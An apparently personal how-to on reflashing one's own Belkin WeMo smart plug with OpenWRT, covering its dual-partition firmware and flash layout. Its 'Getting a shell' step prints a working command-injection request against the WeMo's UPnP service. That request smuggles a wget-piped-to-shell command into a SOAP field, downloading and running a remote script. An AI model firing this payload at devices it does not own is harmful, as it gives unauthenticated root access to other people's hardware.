Vulnerabilities aside, the firmware (even the latest version) on the Belkin WeMo is just plain flaky. I've had multiple issues where the device appears to just "hang", flashing an orange error light if it temporarily loses its wireless connection (which seems to be around once a week). Fed up, I decided it was time to grant them a new lease of life, by reflashing them with OpenWRT.
Belkin has a pretty poor track record when it comes to software. The WeMo is of quite some note, with multiple vulnerabilties found. We're going to use one of the WeMo's vulnerabilities to load up our own firmware: OpenWRT!
This will only work on a brand new out of the box WeMo, or perhaps one where you've only updated the firmware once, many years ago. The vulnerability we're using here requires a firmware version lower than WeMo_WW_2.00.2176.PVT. These instructions were written against firmware version WeMo_WW_2.00.1700.PVT. If you're running a higher version, you'll probably need to dive for The Hard Way.
This is a two-step process:
- Copy the stock firmware to the "B" partition
- Load up OpenWRT to the "A" partition.
Unpacking your WeMo
After opening the box, you'll need to set up your WeMo to connect to your wireless network. To do this, sadly, you need to use either the Android or iOS app.
IMPORTANT: Do not update the device firmware when prompted! In fact, to prevent any possibility of this occurring, I powered off the cheap Android tablet I used immediately after seeing the WeMo's DHCP request on my gateway.
The WeMo's redundant firmware scheme
One thing Belkin's engineers did well was a "dual partition" redundancy scheme. This allows Belkin to transmit firmware updates to the other partition, boot it, and fallback to the last working version if it fails. The bootloader (U-Boot) uses the "bootstate" and "check_boot" environment variables to pick which firmware to boot. More details are on the OpenWRT site.
0x00000000-0x00050000 : "uboot" 0x00050000-0x007c0000 : "A - Kernel and Rootfs" 0x00150000-0x007c0000 : "A - Rootfs" 0x007c0000-0x00f30000 : "B - Kernel and Rootfs" 0x008c0000-0x00f30000 : "B - Rootfs" 0x00fe0000-0x00ff0000 : "Nvram" 0x00ff0000-0x01000000 : "User_Factory" 0x00040000-0x00050000 : "Factory" 0x00f30000-0x00fd0000 : "Belkin_settings" 0x00030000-0x00040000 : "Uboot_env"
Unfortunately, OpenWRT doesn't play nice when it's loaded to the "B" partition - it doesn't seem to be able to find it's root fs. So we'll need to copy the vulnerable firmware over to the "B" partition, boot into it, then load OpenWRT into the "A" partition.
Getting a shell
More bad news: The copy of busybox available is quite stripped down. No telnetd -- not even chmod! We're going to tell the WeMo to download and run a script which grabs a more fully functional busybox, then fires up telnetd for us to log in to:
curl -m 2000 -A '' -X POST \ -H 'Accept: ' -H 'Content-type: text/xml; charset="utf-8"' -H "SOAPACTION: \"urn:Belkin:service:basicevent:1#SetSmartDevInfo\"" \ --data '<?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1"> <SmartDevURL>`wget -O - http://www.realmtech.net/files/WeMo/wemoshell.sh |/bin/sh` </SmartDevURL> </u:SetSmartDevInfo> </s:Body> </s:Envelope>' \ http://10.99.99.99:49153/upnp/control/basicevent1
Change the IP address 10.99.99.99 to the IP of your WeMo. If curl reports "Connection refused", try port 49152 instead.
Full Disclosure: wemoshell.sh reports some statistics back to realmtech.net: your WeMo's MAC address, and current firmware version
Give it a few moments (depending on your internet speed) for wget to download busybox – which weighs in at 1.7MB. If you have a really slow connection, curl may return "Operation timed out". When the operation is successful, you should see an XML document that looks like an error message – simply ignore it.
You should now be able to telnet to your WeMo's IP on port 23.
Copy the stock firmware to the "B" partition
Check which firmware is currently booted:
# uboot_env getenv bootstate
If it returns 2 (instead of 0), you can skip the next step – you're already booted into the "B" firmware!
Copy the vulnerable firmware to the "B" partition:
# dd if=/dev/mtdblock1 of=/dev/mtdblock3
Tell U-Boot to attempt booting the copied firmware:
# uboot_env setenv bootstate 3 # uboot_env setenv check_boot 1 # uboot_env Get_bootstate_to_nvram # uboot_env Set_bootstate_to_env
...then simply reboot when ready.
The fun part: Loading OpenWRT
Once your WeMo has booted into the "B" partition, we can finally load up OpenWRT!
Follow the instructions in "Getting a shell" above so you can telnet into your freshly booted "B" firmware.
Check you're actually on the "B" partition:
# mount /dev/mtdblock4 on / type squashfs (rw)
Download the OpenWRT firmware image (see below for notes):
# cd /tmp # wget http://www.realmtech.net/files/WeMo/openwrt-15.05-ramips-rt305x-belkinf7c027-squashfs-sysupgrade.bin
The point of no return: Write the image to flash:
# fwupgrade openwrt-15.05-ramips-rt305x-belkinf7c027-squashfs-sysupgrade.bin reboot
fwupgrade should report:
bootstate is 2, update firmware to A...
After the firmware has written to flash, fwupgrade will set the boot variables to tell U-Boot to "test boot" the OpenWRT image, them reboot.
Interpreting the LED
If all went according to plan, that LED at the top should go:
- Solid Blue: In the U-boot Bootloader, decompressing the kernel: ~10 seconds
- No LED (unlit): Kernel booting: ~2 seconds
- Rapid Orange: OpenWRT "failsafe" prompt: ~3 seconds
- Flashing Orange: Init scripts running: ~12 seconds
- Solid Orange: Booted successfully!!
Once that LED hits Solid Orange, you should fine a new "WeMoWRT1604" access point show up. All done!
Make it stick
Once you're happy that OpenWRT is booted and happy, we need to tell U-Boot not to fallback to the "B" image firmware next time we reboot. Telnet or ssh into your new WeMo, and:
# fw_setenv bootstate 0 # fw_setenv check_boot 0
The realmtech.net OpenWRT image
I've added/fixed a few things to the OpenWRT build to try to mimic the stock WeMo's functionality as closely as possible:
- WiFi is enabled by default: OpenWRT's default policy is to disable WiFi, and configure your router over the LAN connection – this will be difficult on a WeMo!
- Added the luci package to provide a web interface
- Added the uboot-envtools package, so we can set U-Boot's bootstate and check_boot once successfully booted
- Configured fw_env.config so that the U-Boot variables will write to the correct location
- Configured the Blue LED to flash on WiFI activity, to provide some additional diagnostics while we're flying blind
- Added a trigger for the Power button to toggle the relay, mimicking the original WeMo's functionality (also toggles the Power LED)